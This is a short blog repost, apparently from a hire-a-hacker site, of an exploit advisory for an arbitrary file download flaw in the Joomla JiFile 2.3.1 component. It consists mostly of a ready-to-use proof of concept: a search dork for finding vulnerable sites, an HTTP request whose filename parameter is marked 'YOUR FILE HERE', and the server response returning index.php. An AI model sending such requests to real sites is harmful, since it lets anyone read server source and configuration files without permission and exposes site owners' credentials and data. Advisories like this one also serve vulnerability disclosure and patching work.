Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863568649

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Joomla! Component JiFile 2.3.1 - Arbitrary File Download
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: April 28, 2019
# Vendor Homepage: http://www.isapp.it
# Software Link : https://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/jifile/
# Dork: inurl:index.php?option=com_jifile
# Tested Version: 2.3.1
# Tested on: Kali linux, Windows 8.1 


# PoC:


GET /web/index.php?option=com_jifile&task=filesystem.download&filename=index.php HTTP/1.1  <== YOUR FILE HERE
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 7a9abe45881a5cc968ac0e7c857d8a72=6a377b3429e0b0c22c3abb8f3a078534
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Date: Sun, 28 Apr 2019 17:37:16 GMT
Server: Apache
Pragma: public
Cache-Control: must-revalidate, post-check=0, pre-check=0
Expires: 0
Content-Transfer-Encoding: binary
Content-Disposition: attachment; filename="index.php"; modification-date="1418190008"; size=1319;
Set-Cookie: c90ff18cda17f7cf5069ad1e830756c6=9a1f1c7e9bc241c66e7ad65ca0dd7624; path=/; secure
Content-Length: 1319
Connection: close
Content-Type: application/x-php

FILE_CONTENT